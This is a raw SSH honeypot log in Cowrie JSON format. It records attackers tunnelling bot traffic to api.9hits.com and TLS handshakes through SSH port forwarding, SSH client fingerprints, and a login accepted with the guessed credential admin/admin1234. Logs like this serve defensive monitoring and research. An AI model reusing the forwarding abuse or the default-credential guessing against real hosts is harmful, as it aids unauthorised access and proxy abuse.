{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.72 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NyZ2TiVpNFVYVT5wX3s3bw%3D%3De7KneyZ1FQmiJxX7yUUMl6t%2BpYolgA8PpewMGSrandmqVFvcWH%2FWKpnM499cYV7LSEMaqdw9eXZ%2BJN4FU%2FlIuxD8tUE9dfjBGLKUGzz29SqzE5obck8uIFU5mzYwSzPMG7AYfCpa7qHWlz0iWnDLh5B3ZIsxeNIy5ctoN97ISol24PvbLXubq0xU9NzA2oZywm4hDzGzUVD9hSd22eBBAXPdV0CQkgKI2BRS%2B7%2FPa%2FTPVtcwM7VFjxzfMjiSxHGX9eS0%2FNXb3o1Xe649jdheMQwVoGwrqmiIN70aMzLS%2Fg21UepSId06lyTT1iA%2BtipQ2yXqbi%2F4HnTbSA6lB2rHqTr9u2dwtIqiqiAgw9CdvTclKRrSQuyWsEclni2CPsJfIzFyuq95ZW1B8HetgR6Pf2hCE94wnbYrVFPx%2BNdw7qypgx5pwTKMykqbeiFThalm%2FGu0eSR4FLQMdeumU0HEYhQ5K%2FZFtk4wMDBRW6HtKeLoHikrW%2BMwePARSh5CITiq7bUCG%2BMRLr42ExYG%2BrmMCydj0QhtmTAHRpHQ5OfSB%2F4idg0vopxfe5lXVBfojMN63X0gUdvug1oTWc9Fd1RKmcqZMmIxqz7BYb5zxUvFZ8bkSBeoJFC3IGfOA92iTM8DO5Sup1zp%2Bx1K5MmQOdbHe2sfbLB3VDPePtCpelaIMgnj%2F%2BnFyQ5QPGgO61rPWfysERYLQ5LJoscVdqAsyTX7F8PuxKt615SgaqFvaNOCuTDRUVIJ7s5oIH3eUyjecjnsGPxq1u6V%2Fftok2NXGrBVRVgLJ0Avmvsde6MN0iebClurc1f8tBKpde4Jkkh1jSt6Txqvr3FQ0a%2B6lV357yP8MY2nSNLCsM48%2BLc62ATbDgAJHFYHHwh72DpbR0xe%2FllZZOtD6lH3F3t0C99dysCt8SJRu38bzVdXGjHrzwQQKC04dNlM5NIDW2yXwiAFe9V7CzroIMaikQ8UkTvdcw5eessgWycxm1gJ03gHlIJNus2qSGa5IN92DB3ZojBKlG5BWQXjjr%2BSh8gwALfFj72APCkxN5SckOzmlqTiQ69Qxve3r0yJHdUrQejdGC8avPEO'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.72 Mobile/16G161 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NyZ2TiVpNFVYVT5wX3s3bw%3D%3De7KneyZ1FQmiJxX7yUUMl6t%2BpYolgA8PpewMGSrandmqVFvcWH%2FWKpnM499cYV7LSEMaqdw9eXZ%2BJN4FU%2FlIuxD8tUE9dfjBGLKUGzz29SqzE5obck8uIFU5mzYwSzPMG7AYfCpa7qHWlz0iWnDLh5B3ZIsxeNIy5ctoN97ISol24PvbLXubq0xU9NzA2oZywm4hDzGzUVD9hSd22eBBAXPdV0CQkgKI2BRS%2B7%2FPa%2FTPVtcwM7VFjxzfMjiSxHGX9eS0%2FNXb3o1Xe649jdheMQwVoGwrqmiIN70aMzLS%2Fg21UepSId06lyTT1iA%2BtipQ2yXqbi%2F4HnTbSA6lB2rHqTr9u2dwtIqiqiAgw9CdvTclKRrSQuyWsEclni2CPsJfIzFyuq95ZW1B8HetgR6Pf2hCE94wnbYrVFPx%2BNdw7qypgx5pwTKMykqbeiFThalm%2FGu0eSR4FLQMdeumU0HEYhQ5K%2FZFtk4wMDBRW6HtKeLoHikrW%2BMwePARSh5CITiq7bUCG%2BMRLr42ExYG%2BrmMCydj0QhtmTAHRpHQ5OfSB%2F4idg0vopxfe5lXVBfojMN63X0gUdvug1oTWc9Fd1RKmcqZMmIxqz7BYb5zxUvFZ8bkSBeoJFC3IGfOA92iTM8DO5Sup1zp%2Bx1K5MmQOdbHe2sfbLB3VDPePtCpelaIMgnj%2F%2BnFyQ5QPGgO61rPWfysERYLQ5LJoscVdqAsyTX7F8PuxKt615SgaqFvaNOCuTDRUVIJ7s5oIH3eUyjecjnsGPxq1u6V%2Fftok2NXGrBVRVgLJ0Avmvsde6MN0iebClurc1f8tBKpde4Jkkh1jSt6Txqvr3FQ0a%2B6lV357yP8MY2nSNLCsM48%2BLc62ATbDgAJHFYHHwh72DpbR0xe%2FllZZOtD6lH3F3t0C99dysCt8SJRu38bzVdXGjHrzwQQKC04dNlM5NIDW2yXwiAFe9V7CzroIMaikQ8UkTvdcw5eessgWycxm1gJ03gHlIJNus2qSGa5IN92DB3ZojBKlG5BWQXjjr%2BSh8gwALfFj72APCkxN5SckOzmlqTiQ69Qxve3r0yJHdUrQejdGC8avPEO'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:38.142332Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:38.409997Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d \\x10&\\x98\\xb4\\x89\\x1a\\n\\xad\\x91\\\\^\\xa7*\\xc5\\xd5\\xd0f\\x91\\xd8\\x85\\xdb\\xc3\\xadb\\xf9\\x0b\\xa3\\xe7XP \\r\\x03\\xa8\\x1e\\xb3\\xfe\\xacDm\\xc6\\x88\\x9b\\xbb\\x06\\xe6\\x8a\\xc28\\xd4\\x8b\\x02\\x91\\\\fOW\\x08\\xf5\\x12?)\\x99\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 U\\xb6aqB\\xbd\\xae@]:\\x06\\x02\\xeb\\xaa\\xb7\\x93\\xcf\\xd2\\xe1\\x86\\xcd\\xda\\x8a\\x9f\\x1d\\x8fR\\x05U\\xccG\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d \\x10&\\x98\\xb4\\x89\\x1a\\n\\xad\\x91\\\\^\\xa7*\\xc5\\xd5\\xd0f\\x91\\xd8\\x85\\xdb\\xc3\\xadb\\xf9\\x0b\\xa3\\xe7XP \\r\\x03\\xa8\\x1e\\xb3\\xfe\\xacDm\\xc6\\x88\\x9b\\xbb\\x06\\xe6\\x8a\\xc28\\xd4\\x8b\\x02\\x91\\\\fOW\\x08\\xf5\\x12?)\\x99\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 U\\xb6aqB\\xbd\\xae@]:\\x06\\x02\\xeb\\xaa\\xb7\\x93\\xcf\\xd2\\xe1\\x86\\xcd\\xda\\x8a\\x9f\\x1d\\x8fR\\x05U\\xccG\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:38.413033Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:38.958110Z","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:39.236061Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xda\\x0em\\xccp\\x0b\\xbb\\x06\\x8d_\\x1e\\x86\\x03F\\x8f^J\\xf5p\\xc0\\xc8Y\\xa4^@wh\\x1d\\xbb\\xa5R }\\xe0H\\x14\\xd1\\xd1O\\xa1\\xfe@\\xc7\"\\xbd\\xb2f\\xe7\\xe4R\\xbfq\\x83\\xe6d]\\xb3kR$5\\xe0\\xbd-\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 b\\xf7\\xd4\\xddO;8\\xb2)\\xc9(\\xc5Z\\x9e\\xfb\\xde\\xa4iY\\x07\\x08\\x87\\xaf\\xd1lv\\x1c\\xear\\xc1\\x8dO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xda\\x0em\\xccp\\x0b\\xbb\\x06\\x8d_\\x1e\\x86\\x03F\\x8f^J\\xf5p\\xc0\\xc8Y\\xa4^@wh\\x1d\\xbb\\xa5R }\\xe0H\\x14\\xd1\\xd1O\\xa1\\xfe@\\xc7\"\\xbd\\xb2f\\xe7\\xe4R\\xbfq\\x83\\xe6d]\\xb3kR$5\\xe0\\xbd-\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 b\\xf7\\xd4\\xddO;8\\xb2)\\xc9(\\xc5Z\\x9e\\xfb\\xde\\xa4iY\\x07\\x08\\x87\\xaf\\xd1lv\\x1c\\xear\\xc1\\x8dO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:39.239685Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:39.726473Z","src_ip":"113.164.152.20","session":"7e2b3133fee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35370,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3649cf86664","protocol":"ssh","message":"New connection: 91.92.40.36:35370 (159.203.135.109:22) [session: b3649cf86664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:40.447877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:40.638395Z","src_ip":"91.92.40.36","session":"b3649cf86664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:41.563615Z","src_ip":"91.92.40.36","session":"b3649cf86664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":59982,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bc50996e4fa","protocol":"ssh","message":"New connection: 23.175.50.52:59982 (10.17.0.5:22) [session: 9bc50996e4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:42.081822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:42.086046Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:42.257051Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:44.939891Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
